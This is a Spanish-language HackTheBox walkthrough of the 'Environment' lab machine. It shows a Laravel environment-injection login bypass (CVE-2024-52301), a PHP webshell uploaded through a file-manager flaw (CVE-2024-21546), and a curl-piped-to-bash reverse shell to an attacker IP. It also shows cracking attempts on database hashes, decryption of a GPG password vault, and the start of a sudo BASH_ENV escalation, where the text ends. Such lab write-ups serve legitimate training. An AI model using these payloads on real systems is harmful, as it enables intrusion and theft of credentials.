This page looks best with JavaScript enabled

HackTheBox - Environment

Environment expone una aplicacion Laravel en modo debug, esto permitio conocer la logica de autenticacion de un valor en la variable de entorno y, con una vulnerabilidad que permite realizar cambios a este logramos el acceso. Tambien, descubrimos un manejador de archivos vulnerable a code injection que posteriormente nos dio acceso inicial. Las claves privadas GPG y un archivo encriptado facilitaron las credenciales para un segundo usuario. Escalamos privilegios con un comando que mantiene el valor de BASH_ENV para la ejecucion de comandos como root.

Nombre Environment box_img_maker
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2025-05-03
IP 10.10.11.67
Maker

coopertim13

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [64, 35, 183, 174, 206, 83, 60, 17, 4, 18],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Mon May  5 00:45:44 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.077s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  5 00:45:55 2025 -- 1 IP address (1 host up) scanned in 10.03 seconds

Web Site

El sitio web nos redirige al dominio environment.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.67
HTTP/1.1 301 Moved Permanently
Server: nginx/1.22.1
Date: Sun, 04 May 2025 23:44:57 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://environment.htb

Se presenta una tematica de medio ambiente.

image

Encontramos un un formulario para emails.

image

Tras el envio de una direccion email se muestra que se agrego exitosamente. Tambien, se observa que se agrego una cookie a nuestra sesion, se muestra laravel como tecnologia.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
HTTP/1.1 201 Created
Server: nginx/1.22.1
Content-Type: application/json
Connection: keep-alive
Cache-Control: no-cache, private
Date: Thu, 08 May 2025 01:36:29 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ikx5S000UytGcUR4OTRKQVg1K3Q2OFE9PSIsInZhbHVlIjoidDVJMGtUQ2p0M28yd3hsanNpbEpyQ05wRDdWZFpJNXBqbmprVEEzajF1VXBqdmFHcjB4cForRzcwSzR6bWRXeE5lc051MnJMS1lEMEt0dzNSRm5NM2laUDhJUWJDaDNQcXNJUlk3b3o5aEphWEh1bkV6VWgydEhkdHNPYUExREMiLCJtYWMiOiI1ZjBlNzljMzQxMWJmZTIyNjE0ZGQ2NjMyNWY5YmM4ZjM1M2VjYjhmM2FkMjk3NjNjZDMzOWVhODRkNDg4NzhkIiwidGFnIjoiIn0%3D; expires=Thu, 08 May 2025 03:36:29 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6Ii9tMXJSM3BrUFJWL21Nd2s5RXZkM1E9PSIsInZhbHVlIjoiN2lvcHBSZVA5TUNPcjlDSGJNU2Z4NmxqK0tLUFBGZWJsS1AvWGI1NUp5MnVzRUViZ1NXQlFVL0VJZko3cGhjS3dNa3ozZUlKSkJEMk1WWkowWldMTEprUTFSOHdpaXVMWWozeEM3c21hWW1FdUVFUHNCUkM2U3NFVjJmdnJwVkUiLCJtYWMiOiIxMTU1YTQ3YTQ3MzBlZWQ2MjdmZGEwYzQ2MGQ1YTdmYjU0MTgxMjI4ZDI3YzE0NDliMzdiNzU5MTk4ODI2MjZlIiwidGFnIjoiIn0%3D; expires=Thu, 08 May 2025 03:36:29 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Length: 59

{"message":"Email added to the mailing list successfully!"}

Directory Brute Forcing

feroxbuster muestra los recursos estaticos y paginas php que no existen por lo que se filtro por codigo 404. Entre las direcciones se listan dos con codigo 405: /mailing y /upload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ feroxbuster -u http://environment.htb/ -w $CM -C 404
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://environment.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       32l      137w     6603c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l        9w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l       27w     1713c http://environment.htb/build/assets/styles-Bl2K3jyg.css
405      GET     2575l     8675w   244841c http://environment.htb/mailing
200      GET       87l      392w     4602c http://environment.htb/
301      GET        7l       11w      169c http://environment.htb/build => http://environment.htb/build/
301      GET        7l       11w      169c http://environment.htb/build/assets => http://environment.htb/build/assets/
200      GET        0l        0w        0c http://environment.htb/favicon.ico
200      GET       87l      392w     4602c http://environment.htb/index.php
200      GET        1l      119w     4111c http://environment.htb/build/assets/login-CnECh1Us.css
302      GET       12l       22w      358c http://environment.htb/logout => http://environment.htb/login
200      GET       54l      174w     2391c http://environment.htb/login
200      GET        2l        3w       24c http://environment.htb/robots.txt
301      GET        7l       11w      169c http://environment.htb/storage => http://environment.htb/storage/
200      GET       50l      135w     2126c http://environment.htb/up
301      GET        7l       11w      169c http://environment.htb/vendor => http://environment.htb/vendor/
405      GET     2575l     8675w   244839c http://environment.htb/upload
301      GET        7l       11w      169c http://environment.htb/storage/files => http://environment.htb/storage/files/

/login muestra un formulario de autenticacion.

image

/up muestra si la aplicacion esta funcionando.

image

Laravel Application

La direccion /mailing no acepta peticiones con el metodo GET, se muestra la version de PHP 8.2.28 y laravel 11.30.0, codigo e informacion de la peticion. Esto indicaria que la aplicacion esta siendo ejecutada en modo Debug.

image
image

Observamos que /mailing unicamente acepta peticiones POST.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ curl -X OPTIONS http://environment.htb/mailing -v
* Host environment.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.67
*   Trying 10.10.11.67:80...
* Connected to environment.htb (10.10.11.67) port 80
* using HTTP/1.x
> OPTIONS /mailing HTTP/1.1
> Host: environment.htb
> User-Agent: curl/8.12.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Allow: POST
< Cache-Control: no-cache, private
< Date: Thu, 08 May 2025 01:52:40 GMT
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< 
* Connection #0 to host environment.htb left intact

El mismo caso se observa en /upload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ curl -X OPTIONS http://environment.htb/upload -v
* Host environment.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.67
*   Trying 10.10.11.67:80...
* Connected to environment.htb (10.10.11.67) port 80
* using HTTP/1.x
> OPTIONS /upload HTTP/1.1
> Host: environment.htb
> User-Agent: curl/8.12.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Allow: POST
< Cache-Control: no-cache, private
< Date: Thu, 08 May 2025 01:52:49 GMT
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< 
* Connection #0 to host environment.htb left intact

Trigger Error

La aplicacion esta en modo Debug, intentamos generar un error en el login cambiando el nombre del parametro enviado en burpsuite, interceptando y modificando la solicitud. El valor email paso a emil, con esto se genero un error y se muestra parte del codigo donde la aplicacion fallo.

image

Generamos nuevamente el error cambiando el valor del parametro remember a 0. Esto nos permitiria ver un poco mas de codigo.

image

Analysis

Tras analizar el codigo descubrimos dos cosas:

  • posible uso de laravel-filemanager lo indica unisharp.lfm.upload.
  • Parece existir una opcion unica para desarrolladores, si el valor de APP_ENV tiene el valor preprod al realizar una solicitud de autenticacion sin importar las credenciales, este autenticaria directamente al usuario con ID 1 y daria acceso directo al dashboard de la aplicacion.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    }
    return $response;
})->name('unisharp.lfm.upload')->middleware([AuthMiddleware::class]);

Route::post('/login', function (Request $request) {
    $email = $_POST['email'];
    $password = $_POST['password'];
    $remember = $_POST['remember'];
 

    if($remember == 'False') {
        $keep_loggedin = False;
    } elseif ($remember == 'True') {
        $keep_loggedin = True;
    }
 
    if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
    }
 
    if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
        $request->session()->regenerate();
        $request->session()->put('user_id', 1);
        return redirect('/management/dashboard');
    }
 
    $user = User::where('email', $email)->first();    

CVE-2024-52301

Afortunadamente la version de laravel 11.30.0 esta en el rango de versiones afectadas por el CVE-2024-52301. Esta vulnerabilidad permite realizar cambios en la variable de entorno de la aplicacion. Como unico requisito se muestra que register_argc_argv debe de estar habilitado. Se muestra en el PoC de Nyamort/CVE-2024-52301 que se puede inyectar directamente el valor en la direccion url: http://localhost?--env=local.

En nuestro caso al realizar una solicitud de autenticacion se haria a /login?--env=preprod.

Interceptamos y modificamos la solicitud.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: http://environment.htb
Connection: keep-alive
Referer: http://environment.htb/login?--env=preprod
Cookie: XSRF-TOKEN=eyJpdiI6InRaQndzdk5TUWdKeVVKQnFFYno2MFE9PSIsInZhbHVlIjoiVGY4cWEzcjVjbDBYaHhreGVxRVF4UUMwMUFPemQ4VTZ4M1ZTeHVwMmJNWSsrSTFrVGFheThlL3JwWWdSVmVzYmxSZ0pVMGpBRTF2MGR2ekZ1UUJpMThDN0htcFJtQWZtVHB3SS80cG9DZzltV2NvM2JkYW93dldaZGhURmhwZy8iLCJtYWMiOiJiODNhNWM5ODRhMmM0NGY1Y2FlNGJkMGIyMjM5NjQxMzMzMzhiMmU5MWYwYTU0NGQ4MTFjZjkxZGNhMDgzZGFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNzL05UZVRaek8zQWgzdzNpZ0pMZ2c9PSIsInZhbHVlIjoiUHpRcHZ4WDU2cWRDam0vUm1iQ3JvVWVGdTFkNnRQK05maHF0S3JZcmR3M0hESUhtb3JmR1ZIM3BSUmdsWE5QbHBiU3RLYm96THlDR1BPUTIzM1d5YWtxVVJ5SnNVVlIwTlVWcWpKZnlSc09LYUcrYStwT05RenREZXdSbFVXQTAiLCJtYWMiOiJkMWFiOTFiZTU2MzBjYWIyODVmZGFmNDUzMzFlYWU2MDA0NzQ3ZDc4ZGFjMzNhYzdmYjc0YjMwYzBkOWQ4Y2JmIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=dZstHeRSuVejw5SzEly5jp8My8hLboRpiNf9my3H&email=sc%40htb.htb&password=123&remember=False

Tras realizar la solicitud nos autenticamos dentro del dashboard como Hish.

image

En profile podemos realizar el cambio de imagen de perfil del usuario.

image

CVE-2024-21546

UniSharp Laravel Filemanager en versiones menores a 2.9.1 tiene una vulnerabilidad Code Injection que permite la subida de archivos PHP lo cual permitiria la Ejecucion Remota de Comandos. Para la subida de archivos exitosa se agrega un “mimetype” valido, como el de una imagen, en el nombre del archivo un punto al final, ej.: rce.php..

Intentamos realizar la explotacion agregando GIF89a al archivo y la ejecucion de whoami, tomamos el mimetype de gif: Content-Type: image/gif.

1
2
3
4
# Content-Type: image/gif
❯ cat whoami.php.
GIF89a<?php echo(exec("whoami")); ?>

Subimos el archivo, interceptamos y modificamos el mimetype a image/gif.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------318525182540246141503151545161
Content-Length: 428
Origin: http://environment.htb
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6ImgrQUZFN0xtMnJ0UncrdVdORXpFYnc9PSIsInZhbHVlIjoiSDBSaEIwdGkybW1oR3hZV3pmYlB6Wk90TCtuOTNsdXYxY3dWSmwwQ3A4SjhwOWZyOHhuZ1VFTEpWSXMyVGJkdmFIZVVIbHdSRnE5WkFQSkJCUnFBaUEydUhPRVpJWUNReFhpd1lsUklCWnUzM3FUUFdhYmlYTmo0NmIrWllGWnciLCJtYWMiOiIyMmJhOWU1ZGIxM2YyOGQwOWI2NDQ0ZWVjMmFjMDhlYjI2NGJhMDA0MjkyZGFmOGE0NzkzNmU5YTNmZjlmNDcxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5QbVFPQlUwVVJPbjdRUTFpMFRrbGc9PSIsInZhbHVlIjoiQjhyMWhCcVlRbE1SMlVRSFdaT2U0WGprdUFhL1FjNWxHWnI2VytnL3NvUmZ4Vm5aWkNDWFVIK1ozcEdqL1psT2FsNnFPQ29QOVNhYURkbzdMR0IwNVA5Nkg3eTdwdkVWWGFGbk92SkdDMi95b3lXVUswS2w0MjFJRGI5MDAyOWkiLCJtYWMiOiI4MDkzOTUyYTc3YmJjZGM5ODBkNWZhYzBjZDk3MDM4ZGRhZTY4MTI3MmY4ZTRiYTcwZjJkNzdmZjdmNzUzODNjIiwidGFnIjoiIn0%3D
Priority: u=0

-----------------------------318525182540246141503151545161
Content-Disposition: form-data; name="_token"
91lG7lMhKmua4y8Wd4q5T3M07ROV1nyAVJZ4XOX9

-----------------------------318525182540246141503151545161
Content-Disposition: form-data; name="upload"; filename="whoami.php."
Content-Type: image/gif
GIF89a<?php echo(exec("whoami")); ?>

-----------------------------318525182540246141503151545161--

Se observa que se realizo con exito el cambio.

image

Realizamos una solicitud al archivo y observamos que el comando se ejecuto correctamente.

1
2
3
❯ curl http://environment.htb/storage/files/whoami.php; echo
GIF89awww-data

User - www-data

Subimos una pequena webshell y con shells ejecutamos una shell inversa.

1
2
# GIF89a<?php echo(exec($_REQUEST["c"])); ?>
curl -X POST http://environment.htb/storage/files/0.php -d c="curl 10.10.14.8:8000/10.10.14.8:1338|bash"

Logrando el acceso como www-data mediante una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.8] from environment.htb [10.10.11.67] 51998
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/var/www/app/storage/app/public/files
$

Database

Descubrimos la base de datos sqlite de la aplicacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ pwd
/var/www/app/database
$ ls -lah
total 516K
drwxr-xr-x  5 www-data www-data 4.0K May  5 13:30 .
drwxr-xr-x 13 www-data www-data 4.0K Apr  7 19:58 ..
-rw-r--r--  1 www-data www-data   10 Jan 12 10:37 .gitignore
-rw-r--r--  1 www-data www-data 488K May  5 13:30 database.sqlite
drwxr-xr-x  2 www-data www-data 4.0K Apr  7 19:58 factories
drwxr-xr-x  2 www-data www-data 4.0K Apr  7 19:58 migrations
drwxr-xr-x  2 www-data www-data 4.0K Apr  7 19:58 seeders
$ 

Se observan tres usuarios con su respectiva hash de contrasena. Intentamos el crackeo de estas pero sin suerte.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open database.sqlite
sqlite> .tables
cache                  jobs                   sessions             
cache_locks            mailing_list           users                
failed_jobs            migrations           
job_batches            password_reset_tokens
sqlite> select * from users;
1|Hish|hish@environment.htb||$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi||2025-01-07 01:51:54|2025-05-05 03:28:20|0.php
2|Jono|jono@environment.htb||$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm||2025-01-07 01:52:35|2025-01-07 01:52:35|jono.png
3|Bethany|bethany@environment.htb||$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.||2025-01-07 01:53:18|2025-01-07 01:53:18|bethany.png
sqlite> .schema users
CREATE TABLE IF NOT EXISTS "users" ("id" integer primary key autoincrement not null, "name" varchar not null, "email" varchar not null, "email_verified_at" datetime, "password" varchar not null, "remember_token" varchar, "created_at" datetime, "updated_at" datetime, "profile_picture" varchar);
CREATE UNIQUE INDEX "users_email_unique" on "users" ("email");
sqlite> select password from users;
$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi
$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm
$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.
sqlite>

www-data tiene acceso a el directorio de hish, logramos la lectura de la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ pwd
/home/hish
$ ls -lah
total 36K
drwxr-xr-x 5 hish hish 4.0K Apr 11 00:51 .
drwxr-xr-x 3 root root 4.0K Jan 12 11:51 ..
lrwxrwxrwx 1 root root    9 Apr  7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish  220 Jan  6 21:28 .bash_logout
-rw-r--r-- 1 hish hish 3.5K Jan 12 14:42 .bashrc
drwxr-xr-x 4 hish hish 4.0K May  5 13:44 .gnupg
drwxr-xr-x 3 hish hish 4.0K Jan  6 21:43 .local
-rw-r--r-- 1 hish hish  807 Jan  6 21:28 .profile
drwxr-xr-x 2 hish hish 4.0K Jan 12 11:49 backup
-rw-r--r-- 1 root hish   33 May  5 13:40 user.txt
$ cat user.txt
55c3af0a494535eff17393fe0e438cf3
$

User - Hish

El usuario Hish tiene un archivo .gpg encriptado.

1
2
3
4
5
6
7
8
$ pwd
/home/hish/backup
$ ls -lah
total 12K
drwxr-xr-x 2 hish hish 4.0K Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4.0K Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 May  5 13:45 keyvault.gpg
$

Tambien observamos claves privadas en el directorio .gnupg.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ls -lahR .gnupg
.gnupg:
total 32K
drwxr-xr-x 4 hish hish 4.0K May  8 12:52 .
drwxr-xr-x 5 hish hish 4.0K May  8 09:37 ..
drwxr-xr-x 2 hish hish 4.0K May  8 12:52 openpgp-revocs.d
drwxr-xr-x 2 hish hish 4.0K May  8 12:52 private-keys-v1.d
-rwxr-xr-x 1 hish hish 1.5K Jan 12 03:13 pubring.kbx
-rwxr-xr-x 1 hish hish   32 Jan 12 03:11 pubring.kbx~
-rwxr-xr-x 1 hish hish  600 Jan 12 11:48 random_seed
-rwxr-xr-x 1 hish hish 1.3K Jan 12 11:48 trustdb.gpg

.gnupg/openpgp-revocs.d:
total 12K
drwxr-xr-x 2 hish hish 4.0K May  8 12:52 .
drwxr-xr-x 4 hish hish 4.0K May  8 12:52 ..
-rwxr-xr-x 1 hish hish 1.5K Jan 12 03:13 F45830DFB638E66CD8B752A012F42AE5117FFD8E.rev

.gnupg/private-keys-v1.d:
total 16K
drwxr-xr-x 2 hish hish 4.0K May  8 12:52 .
drwxr-xr-x 4 hish hish 4.0K May  8 12:52 ..
-rwxr-xr-x 1 hish hish 1.9K Jan 12 03:13 3B966A35D4A711F02F64B80E464133B0F0DBCB04.key
-rwxr-xr-x 1 hish hish 1.9K Jan 12 03:13 C2DF4CF8B7B94F1EEC662473E275A0E483A95D24.key
$

Decrypt gpg File

Para desencriptar el archivo copiamos la carpeta .gnupg a /dev/shm/ para luego modificar nuestra variable de entorno HOME.

1
2
3
4
5
www-data@environment:~$ cp -r .gnupg /dev/shm
cp -r .gnupg /dev/shm
www-data@environment:~$ export HOME=/dev/shm
export HOME=/dev/shm
www-data@environment:/home/hish$

Con lo anterior ejecutamos gpg con la flag para desencriptar el archivo keyvault.gpg logrando obtener el contenido de este.

1
2
3
4
5
6
7
8
9
www-data@environment:/home/hish$ gpg --decrypt backup/keyvault.gpg
gpg --decrypt backup/keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/dev/shm/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
www-data@environment:/home/hish$

Observamos lo que parecen ser credenciales para sitios web.

1
2
3
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

Shell

Ejecutamos su para hish, tras ingresar una de las contrasenas logramos el acceso a este usuario.

1
2
3
4
5
6
7
www-data@environment:/home/hish$ su hish
Password: marineSPm@ster!!
hish@environment:~$ whoami;id
whoami;id
hish
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)
hish@environment:~$

Privesc

Hish puede ejecutar systeminfo como sudo ademas la variable BASH_ENV se mantiene tras su ejecucion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
hish@environment:~$ sudo -l -l
sudo -l -l
[sudo] password for hish: marineSPm@ster!!

Matching Defaults entries for hish on environment:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:

Sudoers entry:
    RunAsUsers: ALL
    Commands:
	/usr/bin/systeminfo
hish@environment:~$ file /usr/bin/systeminfo
file /usr/bin/systeminfo
/usr/bin/systeminfo: Bourne-Again shell script, ASCII text executable
hish@environment:~$ 

El archivo es un script que ejecuta una serie de comandos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h

Este muestra informacion en pantalla.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
hish@environment:~$ sudo /usr/bin/systeminfo

### Displaying kernel ring buffer logs (dmesg) ###
[    4.735130] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[    4.736430] [drm] Initialized vmwgfx 2.20.0 20211206 for 0000:00:0f.0 on minor 0
[    4.739382] fbcon: vmwgfxdrmfb (fb0) is primary device
[    4.740120] Console: switching to colour frame buffer device 160x50
[    4.743718] vmwgfx 0000:00:0f.0: [drm] fb0: vmwgfxdrmfb frame buffer device
[    4.858203] NET: Registered PF_VSOCK protocol family
[    5.295533] auditfilter: audit rule for LSM 'crond_t' is invalid
[    5.295594] auditfilter: audit rule for LSM 'crond_t' is invalid
[    6.023747] vmxnet3 0000:03:00.0 eth0: intr type 3, mode 0, 3 vectors allocated
[    6.028319] vmxnet3 0000:03:00.0 eth0: NIC Link is Up 10000 Mbps

### Checking system-wide open ports ###
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess                                                                      
LISTEN 0      511          0.0.0.0:80        0.0.0.0:*    users:(("nginx",pid=934,fd=5),("nginx",pid=933,fd=5),("nginx",pid=932,fd=5))
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*    users:(("sshd",pid=930,fd=3))                                               
LISTEN 0      511             [::]:80           [::]:*    users:(("nginx",pid=934,fd=6),("nginx",pid=933,fd=6),("nginx",pid=932,fd=6))
LISTEN 0      128             [::]:22           [::]:*    users:(("sshd",pid=930,fd=4))                                               

### Displaying information about all mounted filesystems ###
sysfs        on  /sys                                                 type  sysfs        (rw,nosuid,nodev,noexec,relatime)
proc         on  /proc                                                type  proc         (rw,relatime,hidepid=invisible)
udev         on  /dev                                                 type  devtmpfs     (rw,nosuid,relatime,size=1980748k,nr_inodes=495187,mode=755,inode64)
devpts       on  /dev/pts                                             type  devpts       (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs        on  /run                                                 type  tmpfs        (rw,nosuid,nodev,noexec,relatime,size=400920k,mode=755,inode64)
/dev/sda1    on  /                                                    type  ext4         (rw,relatime,errors=remount-ro)
securityfs   on  /sys/kernel/security                                 type  securityfs   (rw,nosuid,nodev,noexec,relatime)
tmpfs        on  /dev/shm                                             type  tmpfs        (rw,nosuid,nodev,inode64)
tmpfs        on  /run/lock                                            type  tmpfs        (rw,nosuid,nodev,noexec,relatime,size=5120k,inode64)
cgroup2      on  /sys/fs/cgroup                                       type  cgroup2      (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
pstore       on  /sys/fs/pstore                                       type  pstore       (rw,nosuid,nodev,noexec,relatime)
bpf          on  /sys/fs/bpf                                          type  bpf          (rw,nosuid,nodev,noexec,relatime,mode=700)
systemd-1    on  /proc/sys/fs/binfmt_misc                             type  autofs       (rw,relatime,fd=30,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=13507)
hugetlbfs    on  /dev/hugepages                                       type  hugetlbfs    (rw,relatime,pagesize=2M)
mqueue       on  /dev/mqueue                                          type  mqueue       (rw,nosuid,nodev,noexec,relatime)
debugfs      on  /sys/kernel/debug                                    type  debugfs      (rw,nosuid,nodev,noexec,relatime)
tracefs      on  /sys/kernel/tracing                                  type  tracefs      (rw,nosuid,nodev,noexec,relatime)
configfs     on  /sys/kernel/config                                   type  configfs     (rw,nosuid,nodev,noexec,relatime)
fusectl      on  /sys/fs/fuse/connections                             type  fusectl      (rw,nosuid,nodev,noexec,relatime)
ramfs        on  /run/credentials/systemd-sysctl.service              type  ramfs        (ro,nosuid,nodev,noexec,relatime,mode=700)
ramfs        on  /run/credentials/systemd-sysusers.service            type  ramfs        (ro,nosuid,nodev,noexec,relatime,mode=700)
ramfs        on  /run/credentials/systemd-tmpfiles-setup-dev.service  type  ramfs        (ro,nosuid,nodev,noexec,relatime,mode=700)
ramfs        on  /run/credentials/systemd-tmpfiles-setup.service      type  ramfs        (ro,nosuid,nodev,noexec,relatime,mode=700)
